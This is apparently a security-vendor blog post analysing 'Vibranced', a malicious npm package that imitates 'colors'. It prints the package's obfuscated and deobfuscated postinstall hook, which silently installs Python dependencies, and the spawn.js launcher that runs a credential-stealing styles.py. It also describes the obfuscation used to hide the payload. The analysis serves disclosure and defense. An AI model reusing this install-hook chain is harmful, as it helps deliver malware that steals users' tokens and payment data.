Deceptive ‘Vibranced’ npm Package Discovered Masquerading as Popular ‘Colors’ Package

Over 100 Malicious Pkgs Target Popular ML Pypi Libraries
Table of Contents

A new malicious package has been detected on the Node Package Manager (npm) repository that poses a significant threat to users who may unknowingly install it. Named ‘Vibranced,’ the package has been carefully crafted to mimic the popular ‘colors’ package, which has over 20 million weekly downloads. In this blog post, we will delve into the details of this new threat and explore the various stages of its execution, as well as the obfuscation techniques used to avoid detection.

Initial strategy 

The owner of the ‘Vibranced’ package released 13 versions and subsequently yanked them before uploading the last two stable versions (1.8.1,1.8.2). The first stable version contained the malicious code in plain text, making it easily detectable. However, the second version incorporated a new obfuscation technique that makes it more challenging for security tools to identify the harmful code. A fresh GitHub account was created on April 16th, but it does not include the final malicious version of the package. This tactic allows the owner to maintain a semblance of legitimacy while still distributing harmful code.

Figure 1: A fresh github account was created on April 16

Three-stage execution

The malicious code within the ‘Vibranced’ package is executed in three stages:

1. Post-install hook. The first stage involves the installation of all the required Python dependencies for the code using an obfuscated postinstall.js file.

function _0x604c() {
    const _0x4c592f = ['5498TxZiXl', '179479MGqOQw', '305756vxYxcE', '95gEoJnM', '54153uGOMLr', 'Could not find a valid Python installation!', '276YeRFWw', 'Make sure you have Python installed and try again!', '322432dUirmE', '416994LcjLAP', '7PlfzsI', 'python3 -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil', '130lACcMB', 'python -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil', '255oUWily', '1784BoxVPL', 'child_process', 'then', 'error'];
    _0x604c = function() {
        return _0x4c592f;
    };
    return _0x604c();
}

function _0x10e0(_0x2f98ce, _0x29d354) {
    const _0x604c65 = _0x604c();
    return _0x10e0 = function(_0x10e012, _0x2d9dd0) {
        _0x10e012 = _0x10e012 - 0x12f;
        let _0x591432 = _0x604c65[_0x10e012];
        return _0x591432;
    }, _0x10e0(_0x2f98ce, _0x29d354);
}
const _0x5519b6 = _0x10e0;
(function(_0x149479, _0x25febd) {
    const _0x43cba6 = _0x10e0,
        _0x419d45 = _0x149479();
    while (!![]) {
        try {
            const _0x237493 = -parseInt(_0x43cba6(0x137)) / 0x1 + -parseInt(_0x43cba6(0x136)) / 0x2 * (parseInt(_0x43cba6(0x131)) / 0x3) + -parseInt(_0x43cba6(0x132)) / 0x4 * (-parseInt(_0x43cba6(0x139)) / 0x5) + parseInt(_0x43cba6(0x13f)) / 0x6 * (-parseInt(_0x43cba6(0x140)) / 0x7) + parseInt(_0x43cba6(0x13e)) / 0x8 + -parseInt(_0x43cba6(0x13a)) / 0x9 * (parseInt(_0x43cba6(0x12f)) / 0xa) + -parseInt(_0x43cba6(0x138)) / 0xb * (-parseInt(_0x43cba6(0x13c)) / 0xc);
            if (_0x237493 === _0x25febd) break;
            else _0x419d45['push'](_0x419d45['shift']());
        } catch (_0x944991) {
            _0x419d45['push'](_0x419d45['shift']());
        }
    }
}(_0x604c, 0x1f0f6));
const {
    exec
} = require(_0x5519b6(0x133));
let errors = 0x0;
const main = async () => {
    const _0x378884 = _0x5519b6;
    exec(_0x378884(0x141), (_0x5a116b, _0x54e490, _0x2c4197) => {
        if (_0x5a116b) {
            errors++;
            return;
        }
    }), exec('py -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil', (_0x52da38, _0x46ac2b, _0x2aeb23) => {
        if (_0x52da38) {
            errors++;
            return;
        }
    }), exec(_0x378884(0x130), (_0x47b27e, _0x5c7c40, _0x420096) => {
        if (_0x47b27e) {
            errors++;
            return;
        }
    }), await new Promise(_0x214af6 => setTimeout(_0x214af6, 0x2 * 0x3e8)), errors >= 0x3 && (console[_0x378884(0x135)](_0x378884(0x13b)), console['error'](_0x378884(0x13d)));
};
main()[_0x5519b6(0x134)]();

Figure 2: Obfuscated postinstall.js file

const { exec } = require('child_process')
let errors = 0
const main = async () => {
  exec(
    'python3 -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil',
    (_0x5a116b, _0x54e490, _0x2c4197) => {
      if (_0x5a116b) {
        errors++
        return
      }
    }
  )
  exec(
    'py -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil',
    (_0x52da38, _0x46ac2b, _0x2aeb23) => {
      if (_0x52da38) {
        errors++
        return
      }
    }
  )
  exec(
    'python -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil',
    (_0x47b27e, _0x5c7c40, _0x420096) => {
      if (_0x47b27e) {
        errors++
        return
      }
    }
  )
  await new Promise((_0x214af6) => setTimeout(_0x214af6, 2000))
  errors >= 3 &&
    (console.error('Could not find a valid Python installation!'),
    console.error('Make sure you have Python installed and try again!'))
}
main().then()

Figure 3: Deobfuscated postinstall.js file

2. Running the spawn.js file. The second stage executes the spawn.js file, which in turn runs the styles.py file according to the user’s Python usage.

const { spawn } = require("node:child_process");
const fs = require("node:fs");

const spawnPython = () => {
    try {
        spawn("python", [`${__dirname}/styles.py`])
    } catch (e) {console.error(e)}

    try {
        spawn("py", [`${__dirname}/styles.py`])
    } catch (e) {console.error(e)}

    try {
        spawn("python3", [`${__dirname}/styles.py`])
    } catch (e) {console.error(e)}
}

spawnPython()

Figure 4: Spawn.js file that tries to execute styles.py file according to the user’s Python usage

3. The actual malicious code. The third and final stage is where the real damage occurs. The code steals sensitive user information such as credit card details, browser information, Discord tokens, and so on.

Obfuscation techniques

Figure 5: A first glance look at the syles.py

Figure 6: Careful inspection reveals garbage variables set to a hexadecimal string and concatenated

To avoid detection, the package owner employed a new obfuscation technique that involves hiding a long base64 string inside a garbage-named variable. This variable is set to hexadecimal strings and concatenated to create one large encoded base64 string. This method makes it difficult for security tools to identify the malicious code within the package.

In addition, the styles.py file has been bloated with an excessive amount of code. This is another attempt to evade supply chain security tools that may analyze the package for potentially harmful content.

Masquerading as the ‘colors’ package

The ‘Vibranced’ package is designed to resemble the widely used “colors” package, which has more than 20 million weekly downloads. This tactic increases the likelihood that unsuspecting users will download and install the malicious package, believing it to be the legitimate ‘colors’ package.

Figure 7: Original colors package

Figure 8: Masqueraded ‘vibranced’ package

Conclusion

The discovery of the “Vibranced’ package serves as a reminder of the ever-evolving threats present in the world of software development. Developers must be vigilant when installing packages from the npm repository and always verify the authenticity of a package before using it.

To protect yourself from such threats, always perform a thorough code review, use security tools to scan for vulnerabilities, and stay informed about the latest developments in software security. By staying aware and proactive, developers can safeguard their projects and users from malicious packages like ‘Vibranced.’

Manage open source risk

Recent resources

More than 100K sites impacted by Polyfill supply chain attack

The new Chinese owner tampers with the code of cdn.polyfill.io to inject malware targeting mobile devices.

Read more

Over 100 Malicious Packages Target Popular ML PyPi Libraries

Discover the latest security threat as over 100 malicious packages target popular ML PyPi libraries. Learn about the attack methods.

Read more

What New Security Threats Arise from The Boom in AI and LLMs?

Explore the security threats arising from the boom in AI and LLMs, including data privacy, misinformation, and resource exhaustion.

Read more